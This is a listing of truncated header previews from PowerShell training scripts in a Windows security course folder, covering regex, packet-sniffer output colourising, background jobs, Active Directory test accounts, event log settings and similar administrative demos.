############################################################################## # Script: Regular-Expressions.ps1 # Date: 19.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Demos how to use [RegEx] to access submatches. # Legal: Script provided "AS IS" without w...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Sniff.ps1
Sniff.ps1
#################################################################################### #.Synopsis # Colorize the output of windump.exe (http://www.winpcap.org/windump/), # a command-line packet sniffer and protocol analyzer for Windows. # #.Description # Run the script instead of windump.exe directly, or...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Background_Job_Examples.ps1
Background_Job_Examples.ps1
<# Background jobs are different than scheduled tasks. Tasks are run by the Task Scheduler service whether or not PowerShell is running and do not require a user to be logged onto the computer. A background job, by contrast, is launched by PowerShell, runs as a part of a PowerShell session, and normally initi...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Invoke-SpeechSynthesizer.ps1
Invoke-SpeechSynthesizer.ps1
######################################################################## # # Demonstrate how to use built-in Windows speech synthesis, i.e., to # make your computer say stuff... # ######################################################################## Param ( $TextToSpeak = "You can make your computer say...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Google.ps1
Google.ps1
############################################################################## # Script: Google.ps1 # Date: 25.Jun.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Pops up Internet Explorer to Google and performs search on # the word(s) passed in as arguments...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Get-HttpPage.ps1
Get-HttpPage.ps1
############################################################################## # Script: Get-HttpPage.ps1 # Date: 23.Jun.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Obtains the response text of an HTTP request (not including headers). # Notes: You can use HTTPS...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Workflow-Examples.ps1
Workflow-Examples.ps1
############################################################################## # The following demos PowerShell 3.0+ workflows. # For more information, run 'Get-Help about_Workflows'. # A workflow is a set of actitivies that can run in sequence or parallel, can # be stopped and restarted, can run as background jobs...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Generate-RandomUsersAndComputers.ps1
Generate-RandomUsersAndComputers.ps1
################################################################################ # Script: Generate-RandomUsersAndComputers.ps1 # Purpose: Creates random user and/or computer accounts in Active Directory # with somewhat realistic properties in the top-level OU of your # choice. If the OU do...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Get-FileLastWriteTime.ps1
Get-FileLastWriteTime.ps1
# Just a function to demo doing some simple forensics with PowerShell. # It returns only files whose LastWriteTime property is within the # number of hours specified, e.g., 72 = within last three days. param ($Path = ".", $WithinLastNumberOfHours = 9999999) function Get-FileLastWriteTime ($Path = ".", $Wi...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Import-Excel.ps1
Import-Excel.ps1
#************************************************************************** # Script Name: Import-Excel.ps1 # Version: 2.3 # Author: Jason Fossen #Last Updated: 5.Sep.2010 # Purpose: This function takes a one- or two-dimensional array and imports its # elements into a new Excel spreadsh...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/HelloWorld-Explained.ps1
HelloWorld-Explained.ps1
############################################################################## # Script: HelloWorld-Explained.ps1 # Date: 27.Mar.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Explains how the traditional "Hello World!" script in PowerShell # actually works...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Block-Cortana.ps1
Block-Cortana.ps1
<# .Synopsis Disables Cortana and blocks outbound Cortana network traffic. .DESCRIPTION Disables Cortana and blocks outbound Cortana network traffic using the Windows Firewall. Requires a reboot. The script does not disable or terminate any Cortana-related services or processes. The search fe...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/PopUp.ps1
PopUp.ps1
######################################################################################## # Script Name: PopUp-DialogBox.ps1 # Version: 1.0 # Author: Jason Fossen #Last Updated: 25.Jul.2013 # Purpose: Demonstrate the PopUp() method, which displays a graphical dialog box # with user-define...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Splatting_Example.ps1
Splatting_Example.ps1
# Splatting can be used to pass in a hashtable of parameters and # arguments into a cmdlet or function instead of passing those # same arguments explicitly at the command line. It is useful # especially when a script, function or cmdlet has two or more # switch parameters. #Requires -Version 2 # Construct ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Remove-ZoneIdentifier.ps1
Remove-ZoneIdentifier.ps1
################################################################################## #.SYNOPSIS # Removes the hidden tag which identifies Internet-downloaded files. # #.DESCRIPTION # Removes the hidden NTFS Alternate Data Stream tag named Zone.Identifier which # is used by a variety of products to restrict ac...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/PInvoke-MessageBox.ps1
PInvoke-MessageBox.ps1
# PowerShell can use the Platform Invoke (P/Invoke) features of .NET to # call unmanaged functions in DLLs. The code below alows you to pop # up a dialog box to a user and capture the button the user clicked, but # it's mainly to demonstrate Add-Type for the sake of P/Invoke. function MessageBox ($Message =...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/SendTo-SysLog.ps1
SendTo-SysLog.ps1
#################################################################################### #.Synopsis # Send syslog UDP messages (RFC3164, but not RFC5424). # #.Description # Send syslog UDP message with chosen facility, severity, content and tag. These # messages are typically sent to UNIX/Linux syslog se...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Invoke-UniversalApp.ps1
Invoke-UniversalApp.ps1
######################################################################## # # Windows 10 runs universal apps in AppContainer sandboxes, which are # not standard Windows executable programs. For each of the following, # you can run the string from the Run line, place into a shortcut, or # launch with PowerShell's S...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Linux_Bash_Tips.ps1
Linux_Bash_Tips.ps1
<# ############################################### Linux Bash to PowerShell Tips ################################################ #> # Several aliases and functions built in by default: Get-Alias -Name ls,man,ps,cp,mv,pwd,rm,cat,echo,kill,find,diff,rmdir,pushd,popd Get-Command -Name more,mkdir...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Translate.ps1
Translate.ps1
############################################################################## # Script: Translate.ps1 # Date: 18.Jul.2014 # Version: 2.0 # Author: Jason Fossen, Enclave Consulting LLC (www.sans.org) # Purpose: Demos piping into functions and scripts. # Legal: Script provided "AS IS" without warranties or ...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Get-Constructor-Hints.ps1
Get-Constructor-Hints.ps1
############################################################################## # Script: Get-Constructor-Hints.ps1 # Date: 16.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Show information about the possible arguments to .NET constructors. # Pass in th...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Get-ParentFolderOfThisScript.ps1
Get-ParentFolderOfThisScript.ps1
############################################################################## # Script: Get-ParentFolderOfThisScript.ps1 # Date: 19.Jun.2007 # Version: 1.0 # Purpose: A function to be used in a script, to return the path of the folder # which contains the script. Useful when dot-sourcing another fil...
PowerShellCorpus/Github/NgPecSysAdmin_NgPecSysAdmin/resources/Scripts/SEC505/Day1-PowerShell/Show-EventLogSettings.ps1
Show-EventLogSettings.ps1
############################################################################## # Script: Show-EventLogSettings.ps1 # Date: 21.May.2007 # Version: 1.0 # Author: Jason Fossen (www.WindowsPowerShellTraining.com) # Purpose: Simply dumps config settings for the local event logs. # Legal: Script provided "AS IS"...